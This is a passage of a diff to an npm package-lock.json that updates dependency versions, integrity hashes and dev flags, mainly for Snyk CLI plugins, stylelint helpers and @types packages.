"sha512-bBY9b9ulfLj0v2Eer0yFYa3syVeIxVKl2EpxSrsVeT4mjA0CltZyHsF0JjoaGXP27nItTdJS5uVsj1NA+3aE+Q==", + "dev": true, + "requires": { + "lodash.clone": "^4.5.0", + "lodash.constant": "^3.0.0", + "lodash.filter": "^4.6.0", + "lodash.foreach": "^4.5.0", + "lodash.has": "^4.5.2", + "lodash.isempty": "^4.4.0", + "lodash.isfunction": "^3.0.9", + "lodash.isundefined": "^3.0.1", + "lodash.keys": "^4.2.0", + "lodash.map": "^4.6.0", + "lodash.reduce": "^4.6.0", + "lodash.size": "^4.2.0", + "lodash.transform": "^4.6.0", + "lodash.union": "^4.6.0", + "lodash.values": "^4.3.0" + } + }, + "@snyk/inquirer": { + "version": "7.3.3-patch", + "resolved": "https://registry.npmjs.org/@snyk/inquirer/-/inquirer-7.3.3-patch.tgz", + "integrity": "sha512-aWiQSOacH2lOpJ1ard9ErABcH4tdJogdr+mg1U67iZJOPO9n2gFgAwz1TQJDyPkv4/A5mh4hT2rg03Uq+KBn2Q==", + "dev": true, + "requires": { + "ansi-escapes": "^4.2.1", + "chalk": "^4.1.0", + "cli-cursor": "^3.1.0", + "cli-width": "^3.0.0", + "external-editor": "^3.0.3", + "figures": "^3.0.0", + "lodash.assign": "^4.2.0", + "lodash.assignin": "^4.2.0", + "lodash.clone": "^4.5.0", + "lodash.defaults": "^4.2.0", + "lodash.filter": "^4.6.0", + "lodash.find": "^4.6.0", + "lodash.findindex": "^4.6.0", + "lodash.flatten": "^4.4.0", + "lodash.isboolean": "^3.0.3", + "lodash.isfunction": "^3.0.9", + "lodash.isnumber": "^3.0.3", + "lodash.isplainobject": "^4.0.6", + "lodash.isstring": "^4.0.1", + "lodash.last": "^3.0.0", + "lodash.map": "^4.6.0", + "lodash.omit": "^4.5.0", + "lodash.set": "^4.3.2", + "lodash.sum": "^4.0.2", + "lodash.uniq": "^4.5.0", + "mute-stream": "0.0.8", + "run-async": "^2.4.0", + "rxjs": "^6.6.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0", + "through": "^2.3.6" + }, + "dependencies": { + "ansi-regex": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "dev": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "cli-width": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-3.0.0.tgz", + "integrity": "sha512-FxqpkPPwu1HjuN93Omfm4h8uIanXofW0RxVEW3k5RKx+mJJYSthzNhp32Kzxxy3YAEZ/Dc/EWN1vZRY0+kOhbw==", + "dev": true + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true + }, + "rxjs": { + "version": "6.6.7", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz", + "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==", + "dev": true, + "requires": { + "tslib": "^1.9.0" + } + }, + "string-width": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", + "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", + "dev": true, + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.0" + } + }, + "strip-ansi": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", + "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.0" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" } } } }, "@snyk/java-call-graph-builder": { - "version": "1.13.1", - "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.13.1.tgz", - "integrity": "sha512-oOCSIyOMplV73a1agcXKXlFYQftK5esUUaFRTf90GOxQwKy8R9tZtKdP+CdutlgvjRP286DQ+7GlvKYsGGZbWg==", + "version": "1.20.0", + "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.20.0.tgz", + "integrity": "sha512-NX8bpIu7oG5cuSSm6WvtxqcCuJs2gRjtKhtuSeF1p5TYXyESs3FXQ0nHjfY90LiyTTc+PW/UBq6SKbBA6bCBww==", + "dev": true, "requires": { - "@snyk/graphlib": "2.1.9-patch", + "@snyk/graphlib": "2.1.9-patch.3", "ci-info": "^2.0.0", "debug": "^4.1.1", "glob": "^7.1.6", "jszip": "^3.2.2", "needle": "^2.3.3", "progress": "^2.0.3", - "snyk-config": "^3.0.0", + "snyk-config": "^4.0.0-rc.2", "source-map-support": "^0.5.7", "temp-dir": "^2.0.0", - "tslib": "^1.9.3" + "tmp": "^0.2.1", + "tslib": "^1.9.3", + "xml-js": "^1.6.11" }, "dependencies": { "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "requires": { + "glob": "^7.1.3" + } + }, + "tmp": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", + "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", + "dev": true, + "requires": { + "rimraf": "^3.0.0" + } } } }, - "@snyk/lodash": { - "version": "4.17.15-patch", - "resolved": "https://registry.npmjs.org/@snyk/lodash/-/lodash-4.17.15-patch.tgz", - "integrity": "sha512-e4+t34bGyjjRnwXwI14hqye9J/nRbG9iwaqTgXWHskm5qC+iK0UrjgYdWXiHJCf3Plbpr+1rpW+4LPzZnCGMhQ==" + "@snyk/mix-parser": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@snyk/mix-parser/-/mix-parser-1.2.0.tgz", + "integrity": "sha512-WXGpI0sVHNuxQ0oLTplOI4NbKPIFkoLV9yUZskBJKMNWnWBRR3+tZr5l7qXQYoVa+Qz2YcQmrIVR2ouIT3IUow==", + "dev": true, + "requires": { + "@snyk/dep-graph": "^1.28.0", + "tslib": "^2.0.0" + }, + "dependencies": { + "tslib": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", + "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", + "dev": true + } + } }, "@snyk/rpm-parser": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/@snyk/rpm-parser/-/rpm-parser-2.0.0.tgz", - "integrity": "sha512-bWjQY5Xk3TcfVpeo8M5BhhSUEdPr2P19AWW13CHPu6sFZkckLWEcjQycnBsVD6RBmxGXecJ1YNui8dq6soHoYQ==", + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@snyk/rpm-parser/-/rpm-parser-2.2.1.tgz", + "integrity": "sha512-OAON0bPf3c5fgM/GK9DX0aZErB6SnuRyYlPH0rqI1TXGsKrYnVELhaE6ctNbEfPTQuY9r6q0vM+UYDaFM/YliA==", + "dev": true, "requires": { "event-loop-spinner": "^2.0.0" } }, - "@snyk/ruby-semver": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@snyk/ruby-semver/-/ruby-semver-2.2.0.tgz", - "integrity": "sha512-FqUayoVjcyCsQFYPm3DcaCKdFR4xmapUkCGY+bcNBs3jqCUw687PoP9CPQ1Jvtaw5YpfBNl/62jyntsWCeciuA==", - "requires": { - "@snyk/lodash": "4.17.15-patch" - } - }, "@snyk/snyk-cocoapods-plugin": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/@snyk/snyk-cocoapods-plugin/-/snyk-cocoapods-plugin-2.3.0.tgz", - "integrity": "sha512-4V1xJMqsK6J3jHu9UufKySorzA8O1vNLRIK1JgJf5KcXQCP44SJI5dk9Xr9iFGXXtGo8iI9gmokQcHlGpkPSJg==", + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/@snyk/snyk-cocoapods-plugin/-/snyk-cocoapods-plugin-2.5.2.tgz", + "integrity": "sha512-WHhnwyoGOhjFOjBXqUfszD84SErrtjHjium/4xFbqKpEE+yuwxs8OwV/S29BtxhYiGtjpD1azv5QtH30VUMl0A==", + "dev": true, "requires": { - "@snyk/cli-interface": "1.5.0", - "@snyk/cocoapods-lockfile-parser": "3.4.0", - "@snyk/dep-graph": "^1.18.2", + "@snyk/cli-interface": "^2.11.0", + "@snyk/cocoapods-lockfile-parser": "3.6.2", + "@snyk/dep-graph": "^1.23.1", "source-map-support": "^0.5.7", "tslib": "^2.0.0" }, "dependencies": { - "@snyk/cli-interface": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-1.5.0.tgz", - "integrity": "sha512-+Qo+IO3YOXWgazlo+CKxOuWFLQQdaNCJ9cSfhFQd687/FuesaIxWdInaAdfpsLScq0c6M1ieZslXgiZELSzxbg==", - "requires": { - "tslib": "^1.9.3" - }, - "dependencies": { - "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" - } - } - }, "tslib": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz", - "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ==" + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", + "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", + "dev": true } } }, "@snyk/snyk-docker-pull": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/@snyk/snyk-docker-pull/-/snyk-docker-pull-3.2.0.tgz", - "integrity": "sha512-uWKtjh29I/d0mfmfBN7w6RwwNBQxQVKrauF5ND/gqb0PVsKV22GIpkI+viWjI7KNKso6/B0tMmsv7TX2tsNcLQ==", + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/@snyk/snyk-docker-pull/-/snyk-docker-pull-3.2.3.tgz", + "integrity": "sha512-hiFiSmWGLc2tOI7FfgIhVdFzO2f69im8O6p3OV4xEZ/Ss1l58vwtqudItoswsk7wj/azRlgfBW8wGu2MjoudQg==", + "dev": true, "requires": { - "@snyk/docker-registry-v2-client": "^1.13.5", + "@snyk/docker-registry-v2-client": "1.13.9", "child-process": "^1.0.2", "tar-stream": "^2.1.2", "tmp": "^0.1.0" @@ -1652,43 +3650,94 @@ "version": "0.1.0", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.1.0.tgz", "integrity": "sha512-J7Z2K08jbGcdA1kkQpJSqLF6T0tdQqpR2pnSUXsIchbPdTI9v3e85cLW0d6WDhwuAleOV71j2xWs8qMPfK7nKw==", + "dev": true, "requires": { "rimraf": "^2.6.3" } } } }, + "@snyk/snyk-hex-plugin": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@snyk/snyk-hex-plugin/-/snyk-hex-plugin-1.1.1.tgz", + "integrity": "sha512-NXgslDo6qSvsKy2cR3Yoo/Z6A3Svae9a96j+0OUnvcZX7i6JeODreqXFD1k0vPM2JnL1G7qcdblPxz7M7ZAZmQ==", + "dev": true, + "requires": { + "@snyk/dep-graph": "^1.28.0", + "@snyk/mix-parser": "^1.1.1", + "debug": "^4.3.1", + "tslib": "^2.0.0", + "upath": "2.0.1" + }, + "dependencies": { + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "tslib": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", + "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", + "dev": true + }, + "upath": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/upath/-/upath-2.0.1.tgz", + "integrity": "sha512-1uEe95xksV1O0CYKXo8vQvN1JEbtJp7lb7C5U9HMsIp6IVwntkH/oNUzyVNQSd4S1sYk2FpSSW44FqMc8qee5w==", + "dev": true + } + } + }, "@stylelint/postcss-css-in-js": { - "version": "0.37.1", - "resolved": "https://registry.npmjs.org/@stylelint/postcss-css-in-js/-/postcss-css-in-js-0.37.1.tgz", - "integrity": "sha512-UMf2Rni3JGKi3ZwYRGMYJ5ipOA5ENJSKMtYA/pE1ZLURwdh7B5+z2r73RmWvub+N0UuH1Lo+TGfCgYwPvqpXNw==", + "version": "0.37.2", + "resolved": "https://registry.npmjs.org/@stylelint/postcss-css-in-js/-/postcss-css-in-js-0.37.2.tgz", + "integrity": "sha512-nEhsFoJurt8oUmieT8qy4nk81WRHmJynmVwn/Vts08PL9fhgIsMhk1GId5yAN643OzqEEb5S/6At2TZW7pqPDA==", "dev": true, "requires": { "@babel/core": ">=7.9.0" } }, "@stylelint/postcss-markdown": { - "version": "0.36.1", - "resolved": "https://registry.npmjs.org/@stylelint/postcss-markdown/-/postcss-markdown-0.36.1.tgz", - "integrity": "sha512-iDxMBWk9nB2BPi1VFQ+Dc5+XpvODBHw2n3tYpaBZuEAFQlbtF9If0Qh5LTTwSi/XwdbJ2jt+0dis3i8omyggpw==", + "version": "0.36.2", + "resolved": "https://registry.npmjs.org/@stylelint/postcss-markdown/-/postcss-markdown-0.36.2.tgz", + "integrity": "sha512-2kGbqUVJUGE8dM+bMzXG/PYUWKkjLIkRLWNh39OaADkiabDRdw8ATFCgbMz5xdIcvwspPAluSL7uY+ZiTWdWmQ==", "dev": true, "requires": { - "remark": "^12.0.0", - "unist-util-find-all-after": "^3.0.1" + "remark": "^13.0.0", + "unist-util-find-all-after": "^3.0.2" } }, "@szmarczak/http-timer": { "version": "4.0.5", "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.5.tgz", "integrity": "sha512-PyRA9sm1Yayuj5OIoJ1hGt2YISX45w9WcFbh6ddT0Z/0yaFxOtGLInr4jUfU1EAFVs0Yfyfev4RNwBlUaHdlDQ==", + "dev": true, "requires": { "defer-to-connect": "^2.0.0" } }, + "@types/braces": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/braces/-/braces-3.0.0.tgz", + "integrity": "sha512-TbH79tcyi9FHwbyboOKeRachRq63mSuWYXOflsNO9ZyE5ClQ/JaozNKl+aWUq87qPNsXasXxi2AbgfwIJ+8GQw==", + "dev": true + }, "@types/cacheable-request": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.1.tgz", "integrity": "sha512-ykFq2zmBGOCbpIXtoVbz4SKY5QriWPh3AjyU4G74RYbtt5yOc5OfaY75ftjg7mikMOla1CTGpX3lLbuJh8DTrQ==", + "dev": true, "requires": { "@types/http-cache-semantics": "*", "@types/keyv": "*", @@ -1697,24 +3746,27 @@ } }, "@types/classnames": { - "version": "2.2.10", - "resolved": "https://registry.npmjs.org/@types/classnames/-/classnames-2.2.10.tgz", - "integrity": "sha512-1UzDldn9GfYYEsWWnn/P4wkTlkZDH7lDb0wBMGbtIQc9zXEQq7FlKBdZUn6OBqD8sKZZ2RQO2mAjGpXiDGoRmQ==" + "version": "2.2.11", + "resolved": "https://registry.npmjs.org/@types/classnames/-/classnames-2.2.11.tgz", + "integrity": "sha512-2koNhpWm3DgWRp5tpkiJ8JGc1xTn2q0l+jUNUE7oMKXUf5NpI9AIdC4kbjGNFBdHtcxBD18LAksoudAVhFKCjw==" }, "@types/color-name": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/@types/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ==" + "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ==", + "dev": true }, "@types/debug": { "version": "4.1.5", "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.5.tgz", - "integrity": "sha512-Q1y515GcOdTHgagaVFhHnIFQ38ygs/kmxdNpvpou+raI9UO3YZcHDngBSYKQklcKlvA7iuQlmIKbzvmxcOE9CQ==" + "integrity": "sha512-Q1y515GcOdTHgagaVFhHnIFQ38ygs/kmxdNpvpou+raI9UO3YZcHDngBSYKQklcKlvA7iuQlmIKbzvmxcOE9CQ==", + "dev": true }, "@types/emscripten": { "version": "1.39.4", "resolved": "https://registry.npmjs.org/@types/emscripten/-/emscripten-1.39.4.tgz", - "integrity": "sha512-k3LLVMFrdNA9UCvMDPWMbFrGPNb+GcPyw29ktJTo1RCN7RmxFG5XzPZcPKRlnLuLT/FRm8wp4ohvDwNY7GlROQ==" + "integrity": "sha512-k3LLVMFrdNA9UCvMDPWMbFrGPNb+GcPyw29ktJTo1RCN7RmxFG5XzPZcPKRlnLuLT/FRm8wp4ohvDwNY7GlROQ==", + "dev": true }, "@types/events": { "version": "3.0.0", @@ -1722,6 +3774,12 @@ "integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g==", "dev": true }, + "@types/flat-cache": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@types/flat-cache/-/flat-cache-2.0.0.tgz", + "integrity": "sha512-fHeEsm9hvmZ+QHpw6Fkvf19KIhuqnYLU6vtWLjd5BsMd/qVi7iTkMioDZl0mQmfNRA1A6NwvhrSRNr9hGYZGww==", + "dev": true + }, "@types/glob": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.1.1.tgz", @@ -1733,30 +3791,72 @@ "@types/node": "*" } }, + "@types/graphlib": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/@types/graphlib/-/graphlib-2.1.7.tgz", + "integrity": "sha512-K7T1n6U2HbTYu+SFHlBjz/RH74OA2D/zF1qlzn8uXbvB4uRg7knOM85ugS2bbXI1TXMh7rLqk4OVRwIwEBaixg==", + "dev": true + }, "@types/hammerjs": { "version": "2.0.36", "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.36.tgz", "integrity": "sha512-7TUK/k2/QGpEAv/BCwSHlYu3NXZhQ9ZwBYpzr9tjlPIL2C5BeGhH3DmVavRx3ZNyELX5TLC91JTz/cen6AAtIQ==" }, - "@types/hosted-git-info": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/@types/hosted-git-info/-/hosted-git-info-2.7.0.tgz", - "integrity": "sha512-OW/D8GqCyQtH8F7xDdDxzPJTBgknZeZhlCakUcBCya2rYPRN53F+0YJVwSPyiyAhrknnjkl3P9qVk0oBI4S1qw==" + "@types/history": { + "version": "4.7.9", + "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.9.tgz", + "integrity": "sha512-MUc6zSmU3tEVnkQ78q0peeEjKWPUADMlC/t++2bI8WnAG2tvYRPIgHG8lWkXwqc8MsUF6Z2MOf+Mh5sazOmhiQ==" }, "@types/http-cache-semantics": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.0.tgz", - "integrity": "sha512-c3Xy026kOF7QOTn00hbIllV1dLR9hG9NkSrLQgCVs8NF6sBU+VGWjD3wLPhmh1TYAc7ugCFsvHYMN4VcBN1U1A==" + "integrity": "sha512-c3Xy026kOF7QOTn00hbIllV1dLR9hG9NkSrLQgCVs8NF6sBU+VGWjD3wLPhmh1TYAc7ugCFsvHYMN4VcBN1U1A==", + "dev": true }, "@types/invariant": { - "version": "2.2.33", - "resolved": "https://registry.npmjs.org/@types/invariant/-/invariant-2.2.33.tgz", - "integrity": "sha512-/jUNmS8d4bCKdqslfxW6dg/9Gksfzxz67IYfqApHn+HvHlMVXwYv2zpTDnS/yaK9BB0i0GlBTaYci0EFE62Hmw==" + "version": "2.2.34", + "resolved": "https://registry.npmjs.org/@types/invariant/-/invariant-2.2.34.tgz", + "integrity": "sha512-lYUtmJ9BqUN688fGY1U1HZoWT1/Jrmgigx2loq4ZcJpICECm/Om3V314BxdzypO0u5PORKGMM6x0OXaljV1YFg==" + }, + "@types/istanbul-lib-coverage": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.3.tgz", + "integrity": "sha512-sz7iLqvVUg1gIedBOvlkxPlc8/uVzyS5OwGz1cKjXzkl3FpL3al0crU8YGU1WoHkxn0Wxbw5tyi6hvzJKNzFsw==", + "dev": true + }, + "@types/istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==", + "dev": true, + "requires": { + "@types/istanbul-lib-coverage": "*" + } + }, + "@types/istanbul-reports": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.0.tgz", + "integrity": "sha512-nwKNbvnwJ2/mndE9ItP/zc2TCzw6uuodnF4EHYWD+gCQDVBuRQL5UzbZD0/ezy1iKsFU2ZQiDqg4M9dN4+wZgA==", + "dev": true, + "requires": { + "@types/istanbul-lib-report": "*" + } + }, + "@types/jest": { + "version": "26.0.22", + "resolved": "https://registry.npmjs.org/@types/jest/-/jest-26.0.22.tgz", + "integrity": "sha512-eeWwWjlqxvBxc4oQdkueW5OF/gtfSceKk4OnOAGlUSwS/liBRtZppbJuz1YkgbrbfGOoeBHun9fOvXnjNwrSOw==", + "dev": true, + "requires": { + "jest-diff": "^26.0.0", + "pretty-format": "^26.0.0" + } }, "@types/js-yaml": { - "version": "3.12.5", - "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-3.12.5.tgz", - "integrity": "sha512-JCcp6J0GV66Y4ZMDAQCXot4xprYB+Zfd3meK9+INSJeVZwJmHAW30BBEEkPzXswMXuiyReUGOP3GxrADc9wPww==" + "version": "3.12.6", + "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-3.12.6.tgz", + "integrity": "sha512-cK4XqrLvP17X6c0C8n4iTbT59EixqyXL3Fk8/Rsk4dF3oX4dg70gYUXrXVUUHpnsGMPNlTQMqf+TVmNPX6FmSQ==", + "dev": true }, "@types/json-schema": { "version": "7.0.5", @@ -1767,10 +3867,62 @@ "version": "3.1.1", "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.1.tgz", "integrity": "sha512-MPtoySlAZQ37VoLaPcTHCu1RWJ4llDkULYZIzOYxlhxBqYPB0RsRlmMU0R6tahtFe27mIdkHV+551ZWV4PLmVw==", + "dev": true, "requires": { "@types/node": "*" } }, + "@types/lodash": { + "version": "4.14.168", + "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.14.168.tgz", + "integrity": "sha512-oVfRvqHV/V6D1yifJbVRU3TMp8OT6o6BG+U9MkwuJ3U8/CsDHvalRpsxBqivn71ztOFZBTfJMvETbqHiaNSj7Q==", + "dev": true + }, + "@types/lodash.chunk": { + "version": "4.2.6", + "resolved": "https://registry.npmjs.org/@types/lodash.chunk/-/lodash.chunk-4.2.6.tgz", + "integrity": "sha512-SPlusB7jxXyGcTXYcUdWr7WmhArO/rmTq54VN88iKMxGUhyg79I4Q8n4riGn3kjaTjOJrVlHhxgX/d7woak5BQ==", + "dev": true, + "requires": { + "@types/lodash": "*" + } + }, + "@types/lodash.omit": { + "version": "4.5.6", + "resolved": "https://registry.npmjs.org/@types/lodash.omit/-/lodash.omit-4.5.6.tgz", + "integrity": "sha512-KXPpOSNX2h0DAG2w7ajpk7TXvWF28ZHs5nJhOJyP0BQHkehgr948RVsToItMme6oi0XJkp19CbuNXkIX8FiBlQ==", + "dev": true, + "requires": { + "@types/lodash": "*" + } + }, + "@types/lodash.union": { + "version": "4.6.6", + 